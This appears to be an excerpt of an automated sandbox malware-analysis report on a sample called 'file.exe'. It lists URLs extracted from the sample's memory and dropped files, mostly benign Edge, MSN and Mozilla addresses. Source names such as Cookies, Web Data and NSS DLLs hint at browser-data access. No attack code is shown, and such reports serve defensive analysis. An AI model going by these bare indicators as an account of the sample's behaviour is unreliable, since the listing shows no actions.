Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_471.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_471.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_471.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_471.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: IDHJEBGIEBFIJKEBFBFH.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376704301927163.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_471.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://support.mozilla.org
Source: KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KEGIDHJKKJDGCBGCGIJKKECAAE.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://twitter.com/
